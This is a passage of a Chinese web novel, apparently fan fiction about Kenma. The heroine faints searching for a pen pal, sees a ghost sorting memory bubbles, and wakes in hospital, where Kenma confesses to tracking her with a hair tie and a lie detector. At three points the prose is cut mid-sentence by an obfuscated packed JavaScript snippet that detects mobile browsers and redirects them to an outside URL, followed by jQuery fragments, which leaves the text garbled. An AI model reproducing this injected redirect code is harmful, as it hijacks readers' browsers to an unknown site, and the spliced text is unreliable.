换作是别人这么想,沈星愿大抵都会觉得那个人有些可怕。 虽然爱情童话里经常这么写,但情侣磨合中总会有些碰撞,由此的分手也是难免的。 “但是我还是不懂。”她说,“既然喜欢了,为什么要分开。” 她好像天真地以为有种东西能够跨越一切阻碍。 后来星愿明白,千流的这种想法更接近于[渴望]。 她一贯会给别人找借口,抛弃她的亲生父母或许有什么难言之隐,养父母因为生存压力大而不得不抛下她。 但有时候又会流露出矛盾的一面,比如在宽慰自己的时候忍不住去设想,就算有这些原因,也不是放弃的理由吧。 她们一起看书,偶尔会把喜欢的情节相互 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302319|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交换,千流喜欢彼此依靠的故事,看书的时候喜欢那些一路互相扶持,不松开对方手的亲情。 在读一本书的时候,她摘抄下了这样一句 话——“我渴望有人至死都暴烈地爱着我,明白爱和死一样强大” 她们探讨了这句话的合理性,一致认为爱情诚可贵,生命价更高。 “但是我还是觉得所有的事情都能跨越。” 在这方面,这家伙执着得可怕。 就是因为这样,身为朋友才需要提高千流的眼光,以免对方挂在一棵树上下不来。 第一步就是要给朋友足够的爱,多到她都瞧不上不够好的那些人。 ——虽然自己很相信千流的眼光,但果然还是无法简简单单的觉得她的男朋友合格吧! 即使是被千流盯上一辈子,怎么想都是对方的福气啊! 虽然这种话永远不可能对自己的好朋友说,但星愿发自内心地这么认为。 复杂的心理斗争加上被腻歪的话语纠缠半小时,星愿还是收回了点拨的念头。 她想起了另一件事。 “既然这样,之前写信的那个人千流应该不喜欢了吧。” “……” “我是一颗心可以碎成好几瓣爱上不同人的坏蛋吗?” “那找到的信封上面写的地址还要告诉你吗?” “诶,阿姨找到了吗?”我想了想,“还是要向对方表示感激的。” “那我把地址打给你,说起来很奇怪,我妈说找了整个屋子也只有一个信封了,但我觉得你应该会保存得很好才对。” * 第二天碰巧是周末。 研磨刚刚和小组成员通宵赶完了课题,大清早也没有回我的信息。 [千流:我买了点礼物准备上门找当初给我写信的人,大概不用多久就会回来。] 地址也在东京,把地点出示给出租车司机,他表示只知道大致的方位,在接近的地方将我放了下来。 126号。 我沿街寻找,最末端的房子上写着门牌号。 [125号] 不信邪的我又沿着路重新走了一遍,最后确认这条街一共只有125号。 难道给我写信的笔友实际上是个社恐,他完全不想和我线下见面,所以编了一个假地址;又或许他实际上是雷锋,喜欢做好事不留名。 我打开包,想要从中取出之前的信件。 包里却空空如也,只有一部手机。 我怔愣着点开和星愿的聊天框,消息栏的地址也渐渐抹去,那条信息像消失的尘埃。 “它们会篡改我们的记忆吗?” 我突然想起研磨的话,拿起手机,想要在上面写下些什么,屏幕却纹丝不动。 大脑也像年久失修的机器,运转起来都显得卡壳,想要思考都显得费劲。 我有些吃力地倚靠着墙壁,头一回体会到眼冒金星是什么感觉,即便如此,我还是攥紧手心,痛觉让头脑稍微清醒了些。 我想起被遗忘的,难以思考的问题。 为什么我从来没有好奇过,或者是短暂地好奇片刻,又很快地忘却——世界是因为什么而融合? 游戏世界到底是什么存在? 还有小八…… 晕厥前的最后一刻,耳旁似乎传来熟悉的声音,还是跟过去一样很不靠谱地喊着“糟了糟了”,是笨蛋小八,它好像迅速地飘了过来,想要捞起我。 意识变得混沌,仿佛漂泊于海域,置身在浪花的怀抱中。 52.捉狐狸注意事项 07 我睁开眼睛,或许此时不能称之为“眼睛”。 更像是在做梦,没有[身体]的存在,是一团[意识],我这样认为。 昏倒前的最后一刻,感觉自己慢慢地浸入大海,周围漆黑一片,是坠入了深海吗。 深海里突然有了光,是我曾在哪里见过的幽蓝色的光,仔细一看,被幽蓝色光点簇拥着的,是一只小幽灵——那家伙是小八,意识到这点,心中忽然安定下来,对着那副熟悉的面孔,很难升起畏惧的情绪。 我更想知道,它在这个世界,究竟是种什么存在。 以及这是什么地方。 [意外地感觉现在的自己状态特别好] 假如说平常的自己智力值维持在80分的水平,现在的我可以很自信地给自己打出100分,被某些事物限制住的思维仿佛一下解开了禁制,总觉得要是让我在这里一直看下去,观察小八它们打算做什么,一切的困惑都会被解答。 它应该是一众幽蓝色火焰的头头,抓狂地跟没有张嘴的那群火焰用脑电波交流,我只能听见小八的自言自语。 [弄成这样真是麻烦],它抱怨,[你们把“泡泡”带过来吧] 泡泡? 我应该是凑近了,视野也逐渐拉进,映入眼帘的物质虽然是泡泡的外观,但实际上更类似放映机,里面不间断地闪过画面,每个泡泡放映的内容不同。 我聚精会神地看去。 ——从中看到了我的身影。 最小的泡泡里,放映的是幼年时期我的经历,随波逐流地荡啊荡,然后被人捡了起来,她抱起我。 原来那时候我的第一反应是对她吃吃地笑啊。 最大的泡泡里,奇怪地放映着从未见过的画面,我好像在一家公司工作,总之有模有样地穿着职场正装,手里拿着的大概是办公文件之类的东西,我敲了敲门,门应声打开。 办公室里的人是研磨,他的着装比我随意多了,我和他的交流,该怎么形容呢。 有些若即若离,保持着正常的社交距离,但每当交流的时候,总是忍不住朝对方倾斜,在意识到后又默契地拉远。 反正和现在的我们不一样。 小八就像熟练工,筛选这群泡泡,不需要的就递给旁边的小火焰,它们如同传送带,把泡泡运走。 我知道此时最重要的就是贪婪地多看一点,那些蛛丝马迹就藏在这堆泡泡里,所有的「异常」拼凑起来就是最后的答案。 最大的「异常」,最需要找到的泡泡,我设想着,那肯定是关于「信件」的内容。 我果断地做出了判断。 与此同时,小八也嘟囔着「总算找到了」,它拎起一个彩色的泡泡,显然比其它的更加绚烂,小八的身躯挡住了我的视野,我只好在心里默念着「再近一些」。 就差一点就可以窥见那个泡泡里放映的内容。 小八身边幽蓝色的火焰突然震颤起来,它抱住泡泡,询问「你在干嘛呢」,随后「哈?」了一声,转身与我对上目光。 几乎片刻,那家伙就把手里的泡泡打包起来,丢给幽蓝色的火焰,还叫它跑远点,摆明了不给我看。 小八看起来有些崩溃,它大叫:“你是怎么跟过来的。” 我坦诚:“这件事我也不知道。” “那些泡泡究竟是什么东西,如果那只是游戏的话,为什么我现在还能见到小八。” 小八配合回答的意愿为零,它抓耳挠腮:“明明把你弄晕了,算了,也不是不能处理……” “处理什么?我的记忆吗?” 它捂脸:“好难缠。” 尽管小八用了「处理」一词,我也不觉得它有什么坏心思:“既然觉得难缠直接告诉我就好了吧。” “没可能的。”它掏出什么仪器,对我扫了一通,“原来如此啊,是千流最理智的部分被放进来了。” 难怪我觉得现在的脑子格外好用。 “对不起啦。”它突然摆出要把我丢出去的架势,我不太想被人踹飞。 “为什么我不可以知道答案。” “反正你也记不住。”小八沉沉地叹了口气,摩拳擦掌,“因为故事还不该终结。” 我闭上眼,意识从深海中飘起,深海里传来泡泡炸开的声音,一定是最绚烂的那个,我笃定。 * “喂喂,千流,碰瓷啊。”小八的电子音有点慌乱,“也该醒了吧。” 「不要,谁叫你当谜语人。」 “再不起来遭殃的可是你自己。” 「我能怎么遭殃。」 “你现在在东京医院,研磨在你的病床前。” 「哈?!」 大脑突然分外清晰,我睁开眼睛,阳光透过纱帘还算柔和,但我还是伸手挡了挡眼睛。 透过指缝看向身旁,研磨垂落的发丝遮住了面部,让人难以分辨神情,他手里拿着把水果刀,一言不发地削着苹果。 哇哦,研磨的刀工看起来很不错,苹果果皮完整地连接着,尚未氧化的苹果泛着金黄色的光泽。 他抬起头。 “千流醒了?” 我打起精神,比了个大拇指:“活力满满。” 情况好像有点糟,就算我这样活跃气氛,研磨也没有打算笑的意思。 他脸上淡淡,把削好的苹果递到我面前:“吃吗?” 可能是见研磨笑多了,光是看到他面无表情的样子,都觉得有些陌生。 况且苹果都被削好递到面前了吧。 感觉自己是被灰狼拽住尾巴投喂的兔子。 我接过苹果,静悄悄的病房里只有我啃食苹果发出的脆响,咬着苹果的我把头越埋越低,最后受不了这沉闷的氛围。 “研磨,我为什么会在这里。” “因为昏迷了。”他虽然话变少了,但还是有问必答,“路过的一个阿姨帮你叫了救护车。” “医生说是低血糖。” 才不是因为那种事吧,我还不知道自己有这种病症,我是为了去见笔友,结果发现他给了我错误的地址,然后…… 然后呢? 记忆跟被活生生地挖去一块,脑海里空荡荡的。 我好像做梦了,梦到了小八,然而跟平常做梦一样,具体的梦境在清醒的一刻就很难回忆起来。 “下次要记得吃早饭。”他又拿了一个苹果,“还要吃吗?” “想吃小馄饨了。”研磨好像又没有不高兴,只是叮嘱我要记得吃早饭。 肯定是梦里小八那句不知所云的“我会遭殃”,让我莫名其妙地多想了吧。 还记得研磨小时候自己发烧了,愣是要从床上爬起来把玩到一半的游戏通关,还是我难得强硬一回,让他必须完全好了才能接着玩。 但现在已经能很好地照顾人了。 我看着低头点餐的他:“让你担心了研磨,你昨天也刚通宵完吧,我感觉我现在就能出院!我们一起去外面吃中华街的小馄饨怎么样。” 他的手指顿了顿:“这是第二天的下午,千流睡了一整天。” 我的睡眠质量这么夸张的吗,我震惊。 “还是再观察几天吧。”他不为所动地下了单,“还有……” “没有及时找到千流是我的问题。” 我才意识到,这是自我醒来后,研磨第一次与我对视。 眼瞳里闪烁的光却明明灭灭,长长的睫毛像悄然靠近的黑夜,把光点都吞没。 “哪有那回事啊。”我说,“是我没有告诉你地址,你又没有什么定位和瞬移的超能力,能立马来到我身边……” 他打断我的话语:“我说过的。” “我会找到千流。” 我还记得第一次听到这句话时的心情。 比起感动,更多的是茫然。 脱口而出的一句话会随着时间的长河成为被掩埋的砂砾,亦或是成为萦绕在心中的诅咒。 光是让研磨单方面地朝我奔来,这样做也太逊了吧。 “我说,研磨。”我一把掀开盖在身上的被子,“我也会找到你的。” 我被豁楞豁楞又重新埋在了被子里,他甚至恶劣地让我只露出头顶和两只眼睛,随后站起身,挡住了倾洒进来的阳光,但我觉得他大概是笑了。 “我去拿吃的。” 研磨压根不回应我的宣言并且选择了逃跑。 送馄饨的店家就算有飞毛腿也根本不可能在这时候把东西送上门。 “这个苹果实在太大了吧。”我喃喃自语,苹果的果肉一接触到空气就会迅速氧化,然后变得斑驳,跟情侣间遇到的问题一样,要是不解决,就会变成氧化的苹果。 我望着医院的天花板,空气里逸散着消毒水的气味。 或许研磨不安的来源并不是我对他“喜欢”的分量。 我打开备忘录,敲下—— [推测的研磨视角:跟游戏设定大抵一致,通过“任务奖励”换来我“重生”的机会] 所以是谁扮演奖励兑换的角色? [小八?(不确定)] 但在研磨和我看来,我们所处的世界都是真实的。 [所以是小八所属的群体把我们两个的世界连接起来了?] 总觉得这样的推测看起来合理,但还有一些事情无法解释...... [比如为什么单独选择了我们两个人的世界,以及我和研磨所处世界的时间流速为什么不一样,又是怎样调成一致的] [“笔友”为什么要填一个不存在的地址。] [假如世界是按研磨的时间线和我的时间线划分为两半,那融合之后在东京的“笔友”先生是划归于我的时间流速吗] ...... 困扰的点也太多了吧。 我抱住脑袋,把手机丢到一边。 研磨他,对于那句话的反应也太大了吧。 ——“我会找到千流的。” 现在想来,研磨在大学第一次见到我时的表现也不大寻常。 他是那种会当新生入学志愿者的性格吗? 而且研磨对我最开始的“视而不见”也没有怎么过问,确切地来说,他几乎对我消失这两年来一切的事情都没有过问。 他是这样没有好奇心的人吗? ...... 还是在等我主动告诉他。 拜托,怎么突然从甜甜的恋爱变成了悬疑推理剧情了。 我在窄窄的病床上翻来翻去。 既然是推理剧情,我板正地坐了起来,那不如代入研磨的角色,然后试着复盘他的心理变化。 假如我是研磨,喜欢的女生答应了要是能在现实中见面,就正式在一起。 结果她在任务奖励兑现之后就无影无踪,两年都没有出现,甚至都没来跟我联系。 ——哈?这绝对是骗感情的人渣吧,我愤愤地锤了下床板。 《惊!人渣竟是我自己》 可我不是人渣啊,我闷闷不乐地想,研磨也不可能在觉得我是人渣的情况下和我谈恋爱。 所以这条路径不成立。 过于重视“我会来找你”这句话。 是“分离焦虑”吗? 但研磨完全没有表现出对我行踪的限制和控制,他的精神状态看起来也蛮健康的吧。 完全没有头绪!不管往哪个方向推理都会被无形的墙拦住。 要不跟研磨摊牌,直接告诉他“之前和你相处我都以为是在玩游戏,我以为你只是一个游戏角色。” 虽然研磨是个游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314104|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏玩家,对这种东西的接受度也蛮高的,但没有任何证据下这样说,不会被轻易采信吧。 既然如此,就先收集一些证据,然后把这些异常丢给研磨看,这样就能增加我所说话语的可信度。 我攥紧拳头,很不错,就这么干。 病房的门被敲了两下,“请进”,我大声说。 研磨推开门。 他把病床一侧的小桌板挪到我的正前方,热腾腾的小馄饨上面撒着葱花,完全正宗的中华小馄饨。我拿起汤勺:“我要开动啦!” 散着的头发一直自说自话地要入侵到馄饨汤里,我只好一只手箍住头发,另一只手拿着汤勺。 “要皮筋吗?”坐在一旁的研磨突然问我,他拿出一根皮筋,很简洁的风格,只点缀着一颗银白色的星星图案。 “帮大忙了,研磨。”我三两下用它把头发束起,注意到研磨的目光一直注视着我束发的手,我疑惑,“怎么了吗?” “...没什么。” 他那副样子可跟“没什么”毫无关系啊。 几乎算是把欲言又止写在了脸上,还没有见过研磨这么外露的表情。 我停下吃馄饨的动作,思索再三,犹豫地开口:“研磨,这个发圈...” * 那根借助系统,由手环改造而成的发圈,和最初改造它的意志契合,最后落在了千流的头发上。 ——被发现的话,千流一定会觉得很可怕吧。 尽管如此,他也无计可施了。 可能是脸上的表情没有及时敛去,早就发现了,千流的观察力丝毫不逊色于自己,只不过总是往奇怪的方向偏转。 “喂,研磨...”她犹豫着指了指头上的发圈,“这个发圈...” 即将问出的话被千流调转了方向,她问:“快说,你为什么会有发圈。” “是不是有什么奇奇怪怪的人送你了。”她故作严肃,“在中国,那些初高中的女生总是给喜欢的男生送发圈,这东西可不能随便收啊。” 总是这样才会找不到答案啊。 研磨看向千流,为自己信任的人递台阶,对一些显而易见的疑点避而不谈。 [从递出发圈的那一刻,就不该接着信任我] 像突然甩开了肩上重重的负担,他觉得自己的身体变得轻盈了许多。 研磨不加掩饰地从系统空间里拿出[加强版测谎仪],只能绑定一个人,但使用次数不限,与其说是测谎仪,不如叫[吐真剂],因为戴上它的人只能说真心话。 一场由千流发出的,针对他自己的审判。 他垂眸,把测谎仪扣在千流的手腕上。 研磨托着腮,笑盈盈地看着千流,把她怔愣的表情尽收眼底:“这是我们的测谎仪,我把它加强了一些,所以千流从现在开始只能说真心话。” “第一个问题,千流现在在想什么?” 千流张了张口:“我在想馄饨还没吃完......” 拜托,别老是这么状况外好吗。 他思索:“要不接着吃。” 她嘟囔着举起手:“你都把这个戴在我手上了,不说清楚怎么安心吃饭。” “好吧,我错了。” “知道错就好!” “那,第二个问题,千流在看到发圈的时候,想到什么了。” 千流闭上嘴,抿唇。 研磨的手托住她的脸,拇指指尖轻轻地扣上她的嘴角:“不用尝试不开口,它会逼你说话的。” 她怒气冲冲地开口:“孤爪研磨,你是笨蛋吧。” “唔。”他想了想,“这时候是不是用混蛋比较适合。” “这时候该修改措辞吗!”千流忍无可忍地吐槽。 “所以千流,想到什么了?” 她偏过脑袋:“那个发圈星星的质感,跟铆钉手环很像。” “好聪明。”他像循循善诱的老师,“那为什么不这么问。” “因为觉得研磨不会这样。” “好遗憾。”他轻声,“但我还是这么做了,还对千流用了测谎仪。” 他亲昵地凑近,琥珀色的眼睛里装着晃荡的光,把自己的心赤裸裸地剥开。 “现在呢,现在千流怎么看待我。” 会讨厌我吧。 “研磨是笨蛋。”她把侧着的头转过来,认真地回答。 这时候不要用这么亲昵的称呼啊。 好难办。 “我也是笨蛋。”她抿嘴,“我之前一直没有发现研磨的想法,还以为你那么奇怪,是因为觉得我对你的喜欢还不够多。” “你在不安吗?担心我会消失不见,所以用定位器确认我的位置。” …… “我也会这么做,不过本千流会坦坦荡荡地告诉研磨——你这家伙,给我安一个定位器吧。” “而不是像研磨这样,明明想告诉我,却兜着圈子,超不坦率。” “还有!”她耷拉嘴角,“[安全感]任务大失败,我决定了,以后对付研磨都要直来直往的。” * 他本以为这场对自己的审判会收获[被讨厌]的结果。 负责宣判的法官轻飘飘地把法槌丢到了一边,带着不讲道理的信任,把审判书的碎片洋洋洒洒地抛到空中。 然后,带着大雨淋过后,从乌云里冒出的、太阳的味道,凑近,落在他的嘴角。 手腕上的测谎仪传来警报声的轰鸣,把她吓了一跳。 “我还没讲话呢,也没有说谎…” 未尽的话语还没说出,研磨轻扣住她的手,不顾耳边喧嚣的轰鸣,回以更加漫长绵密的吻,像春雨落在心间,荒芜的万物疯长着抽芽。 那不是警报。 “是心跳。” 53.捉狐狸注意事项 08 研磨眼角爬上的寒霜悄悄地化开,像一只餍足的大猫,懒洋洋地抱着名为千流的猫爬架,闷不做声地晒着太阳。 「你get了一只粘人猫猫,你下一步的举措是——」 我选择让这个拥抱维持地更久一些。 直到研磨轻浅的呼吸声拍打着我的颈部,忽视蔓延的麻意,我小心翼翼地侧过头。 他阖上了双眸,白皙的面庞上,眼下泛着青。 该不会连着两天都没怎么睡吧。 我无措地看着挂在我身上的研磨,虽然不大只,但也把我牢牢控在了原地,动弹不得。 「明明还想接着把话说清楚的…」我这样想着。 总之,维持着身上挂猫的姿势,我凭借灵活的手吃完了微凉的馄饨。 然后,又展现了一番微操技术,在不吵醒研磨的状态下,完成了乾坤大挪移。 他安安稳稳地睡在了病床上,还没有要醒来的趋势。 我得意地拍了拍手,庆祝大功告成。 病房的门被推开了一角,护士姐姐探出头,我迅速地朝她比了个嘘声的手势。 她了然地点点头。 她并没有对病床上的对象被调换展现惊讶的神情,反而笑眯眯地,手里的托盘放着一大袋挂瓶用的药水。 我神情一凛,焉焉地伸出手。 因为缺乏运动,加上浑身上下的肉都长在了脸颊和手上,我的血管一直相当难找。 小时候,曾有位护士姐姐在我的手上戳了三回,也没有在正确的位置下针,于是我对挂瓶有点阴影。 她握住我的手,仔仔细细端详了一番,接着是让我无比熟悉地拍打加上涂药水,让血管更明显。 我的灵魂都被小小的针管提了起来。 大气不敢喘地注视着针管扎进我的手臂。 耶,一命通关。 我轻呼一口气。 护士姐姐看起来年纪并不大,眨了眨眼:“我可是老手了,别担心。” 她含笑地眼神在我和研磨之间打转,我脸上渐渐有点温热。 “男朋友?” “嗯。” “我头一次见到低血糖晕一整天的,让他着急坏了,跟医生问这问那的。”她回忆,“在这里陪护了一整天,难怪累得睡过去了。” “你们感情真不错呢。” 我却开心不起来,视线投向浅眠的研磨。 也不知道给我点了馄饨的他自己有没有好好吃饭。 苹果的味道好酸。 护士姐姐看在眼底:“所以最重要的是照顾好自己,这样爱你的人就不会担心啦。” * 我把陪护椅轻声拉近了些,用空下的一只手把被子稍稍往上拉。 他睡得很安静,几乎没怎么动,就算是动身也只是往一边侧身,发丝笼住半张脸,我轻轻拢去。 阳光被人洒了催眠的粉末,我也昏昏沉沉的,趴在陪护床边睡着了。 一睁开眼,自己又平躺在病床上。 我和研磨简直在进行置换活动。 “还好我起得早。”他指了指又被装满的挂瓶,“一觉起来它都见底了。” 我打了个长长的哈欠,擦去眼角的泪花。 我不忘询问研磨:“之前吃过饭了吗研磨。” “吃过了。” 傍晚的夕阳把窗外都染成金黄一片。 “晚上想出去吃,顺便去散散步。”我拉着他的衣角,“要不给我推个轮椅吧研磨。” 我自小就梦想着被人推着出门,这样就可以解放双腿。 “那还算散步吗。”他问。 轮椅梦被我和研磨一致决定推迟到老年生活再实现。 江边的路灯汇成长河,我们从一盏月亮走向另一盏月亮。 今天的晚餐是附加溏心蛋的豚骨拉面,溏心蛋的形状与路灯及其相似。 晚风吹拂着发梢,我伸出手:“发圈呢?” 他脸上的表情有些别扭,很是不情愿地把发圈拿了出来,俨然没有把测谎仪扣在我手上的架势。 我才没有忘记事后清算呢。 研磨这家伙,在我说完“你完蛋了”之后依然我行我素,简直不像话。 研磨耷拉着脑袋,佯装可怜。 我用扎眼的发圈绑起头发,走在他的前面,高高的马尾晃啊晃。 他跟上我的脚步:“还是摘掉吧,千流。” “不要。” 我摘下发圈,在手里端详片刻:“研磨,它可以变成别的形状吗,比如发卡。” 研磨默默地放在手里,蓝色的光芒闪过,布丁发卡出现在他的手中。 我心满意足地别了上去:“简直可以当成万能饰品使用,三百六十五天不重样。” “…千流不在意吗?” “知晓对方的位置蛮重要的吧,霓虹又不如我们华夏那么安全。”不由得拉踩了一下,我询问,“要不也在研磨手机里装一个定位软件,要是有危险了就可以一键通知对方。” “那还是不要有派上用场的那一天了。” 他也不想在家接到千流被送去医院的通知。 系统道具是好是坏,完全看使用者的目的。 我疑惑:“为什么这些道具会跑到研磨手里?” 他一噎:“可能是忘记收掉了我这份。” 我想起当时转让权限前看到的大大的警告…总觉得这件事的始作俑者是我自己。 于是略微有些心虚的碰了碰鼻尖。 我猫手猫脚地凑近他,跳起来,挂在他的肩膀上,偷袭着把研磨的头发揉成鸡窝头:“说吧,你是不是早就酝酿着对我用。” 他双手背过身,拢住我的腿,在我的惊呼声中轻轻地往上一踮,我连忙挽住他的脖子维持身体平衡。 “你哪来的一股牛劲啊。” …… “可以换个词夸我力气大吗?” 好吧,看来研磨体育生的功底尚在。 他稳步地走着,一开始我还担心他在为了面子强撑,结果现在看来他是真的不在乎这些重量。 我拧了拧被他藏在衬衣下结实的肌肉,说起来,我并不太能欣赏壮硕的肌肉,类似于大块隆起撑爆衣服的那种。 ——研磨这样就刚刚好。 我好奇地捏来捏去。 他闷闷地制止了我:“千流这样算不算耍流氓。” “不算——”清汤大老爷千流公正评判。 也算实现了「不用自己走路」的愿望。 “喂,研磨。”我轻声,“不管我说的话听起来有多离谱,你都会相信吗?” “嗯。” “不会觉得我脑子出问题了?” “看情况。” 我锤了锤他的肩膀:“这时候要说不会才行。” 他的肩膀颤了颤,像是在笑:“行。” 明明要展开一场关于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324498|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界真相的大讨论,却被他搞得怎么也严肃不起来。 我轻咳两声,还是摆出了严肃的态度:“其实我不是鬼,一开始遇上研磨的时候以为自己是在玩游戏……” 我一字不落地把自己所知的情报告诉了研磨,即使在寻常人眼里这可能是天方夜谭,采信的程度大致为零。 但信任和安全感这种东西,只有建立在坦诚之上才能坚不可摧吧。 就算下一刻他转身打道回府,把我送到精神科,我也打算坦诚地说出一切。 他沉思后:“所以我是游戏人物,千流也喜欢上了对吧。” …… 我愤愤:“这是重点吗?” “所以研磨就这么轻易地接受了这种设定吗?” “坦白说,之前有往这个方向猜测。”他说,“不过这个猜想比千流的鬼怪论还要天方夜谭。” “往好的方向想,这简直就是游戏里主角的设定吧。” 我幽幽地看着他的后脑勺,圆滚滚的,我早该想到研磨的接受能力强的一批,这或许是中二病的统一特点吗。 “所以让你等了那么久……” 他把我放在一处高高的石头上,我低头。 “千流现在就在我身边。”他看起来毫不在意,“其实两年也没有很久。” 他说的言之凿凿,不过我还是不信。 我竖起小指,伸出手,递到他的面前:“我们一起去寻找吧。” “寻找这个世界的真相。” 研磨与智力稍胜他一筹的千流,由此组成的侦探团队,必然不是「狗头侦探」的组合。 在我的带领下,一切最终都会水落石出的。 他牵起我的小指:“什么样的真相都要寻找吗?” “你这话听起来好丧气哦。”我给他打气,“绝对是「he结局」” 我轻盈地从石头上跃下。 拉着研磨的手,空余的一只手用来回复这两天的消息。 首先是星愿,她洋洋洒洒发了一大段我要是再不吃早饭低血糖就完蛋了,我连忙滑跪。 “星愿怎么会知道!” “她担心你,然后打过来电话,我接了。” “研磨的中文这么好了吗?”居然可以和星愿正常对话,不过他学东西本来就很快。 “为了防止千流用中文吐槽我。” 这种事在过去我还真干过。 显然,研磨还不懂中华语言体系的博大精深,我还有名为「方言」的绝招。 点开line,三人小群与冒出的江户川兄妹的聊天框让我顿在原地。 我深吸一口气,我们的小组作业已经到了收尾阶段,然而身为成员的我突然消失不见。 ——鸽子竟是我自己。 “完蛋了。”我点开对话栏。 「千鹤:居然住院了吗,千流,好好休息!记得报平安。」 「千鹤:另外,你的男朋友把你小组作业剩余的最后一部分完成发来了(水平出奇地高)」 「千鹤:我哥完完全全地输了,默哀(这句话完全不用在意)」 我,震惊地把视线从手机上挪开,郑重其事:“研磨,简直是我的再生父母!” 我既是千流的爸又是千流的妈? 研磨云里雾里地解读一番,猜出这大概是中国特有的表达感激的话。 爸妈大可不必。 “我还是当千流的男朋友好了。” 54.捉狐狸注意事项 09 * 江户川千鹤关闭聊天界面,回头看看自家的颓废老哥(什么事都没干就已被踢出局的失恋版),他们俩在咖啡店坐了一整天,把研磨发来的那部分与自己的整合在一块,差不多算是完工了。 她伸了个懒腰,合上电脑:“好饿啊老哥,去吃夜宵吧。” 大学城边最不缺的就是小吃。 拉开罐装冰啤,“呲拉”的气泡声崩开,她举起酒杯:“祝老哥初恋失败快乐。” 没错,这是她老哥的第一次恋爱,一见钟情的神展开与干脆利落地宣告失败。 她突然想起千流问她和那位「江户川柯南」有没有关系,要是之后告诉她自己其实是那位「江户川乱步」的后代,对方会是什么反应呢? 说是那位大推理小说家的后代,但他们家族完完全全没有继承先辈的天赋,否则也不会兄妹俩都来学计算机了。 “……别损我了,千鹤。” 千鹤摇摇手中的啤酒罐,撑着下巴:“你说谈恋爱这件事,有意思吗?” “那要看跟谁谈。” “哈,老哥,这么有道理的话居然会从你嘴里说出来。” “……boke千鹤。”江户川原野非常了解自己妹妹想一出是一出的性格,“别因为这种事情就想谈恋爱试试啊…” 她若有所思地坐在位置上,望着远处觥筹交错的众人发呆。 店里的灯光昏昏沉沉的,暖黄色的光里,远处的人蒙上了一层柔和的滤镜。 一位穿着白衬衫的男生被围在众人间,似乎有点内向,只一味地笑与点头。 千鹤捂住自己的心脏:“牙白,老哥。” 原野警惕地看着千鹤,她脸颊发红,疑似喝醉,捂着的是胃? ——要不跑去拿个垃圾袋,不然这家伙可能会吐在自己身上。 千鹤满头黑线:“我没有想吐。” “虽然有时候我很嫌弃老哥你犹犹豫豫的性格,但不得不说,身为兄妹,有些地方我们还是蛮相像的。” 巧了,他也看不惯千鹤说一出是一出的性格。 “我一见钟情了!”千鹤这样宣告。 “哈?!!!” * 今天,是我成功出院的好日子。 在做了各项检查宣告身体倍棒后,我从硬铁板的病床上解放了。 不知为何,名为秋实的护士姐姐在这几天已经暗暗地磕上了我和研磨。 之所以发现这点,是因为,当她来换药瓶,看到我和研磨的互动时,都会发出咯咯咯的笑声。 例如—— 因为我和研磨都不怎么会养花,他送的花放到花瓶了,怎么精心照顾也会有凋谢的那天。 所以我们两个窝在病房里,对着手机中博主的教程,试着把它们做成干花。 “研磨研磨!”我手捧着干花标本,“给我拍张照。” ——第一次制作标本大成功。 我先叫停拿起手机的他,跑到他的位置,调整他的角度。 “我好歹也是做过YouTube。” “研磨没给我看成品,所以不算数。” 他站在那里,任我垫脚握住他的手腕,一通摆弄:“研磨,维持这个位置不要动哦!” “手好酸——” “马上马上!” 我赶到刚刚找好的绝佳位置,扬起一个明媚的笑容。 研磨有模有样地咔擦咔擦了好几下。 我满怀期待地跑过去,脑袋从他的肩膀处冒出。 我生气地冲他的脖颈挠痒痒,他连忙躲开:“这不是蛮好的吗?” “我、的、花、呢!” 照片里,我洋溢笑容的脸蛋占了四分之三,干花标本只露出了可怜的一角。 每当这种时候,秋实护士就会在旁边发出咯咯咯的背景音。 甚至在告别前,她还加上了我的line,叮嘱我一定要好好更新日常。 有点摸不着头脑,但我还是满口答应了。 「秋实:其实…千流你们的恋爱故事和相处模式,都让我有点在意。」 「千流:诶,为什么。」 「秋实:就有种熟悉的感觉……等我想起来了再跟千流说!」 更晕乎乎了。 「千流:好哦,秋实姐」 我把发卡递给研磨。 他业务娴熟:“顾客这次要换成什么款式。” “向日葵!”出院就要喜庆点嘛。 头顶向日葵发卡的我一进教室,就被早到的老师叫住了,她是上了年纪的慈爱老奶奶,长得和星愿的奶奶有点相像。 ——总觉得坏奶奶是长一幅面孔,而好奶奶又长着另一幅模样,或许这就是相由心生。 “心情很好嘛,千流,欢迎出院。” 没想到老师能记得住我的名字,我不好意思地道谢。 千鹤和原野兄妹早早为我占了位置。 千鹤朝我招手:“好漂亮的向日葵!” 我坐在她的边上:“千鹤今天也很漂亮。” 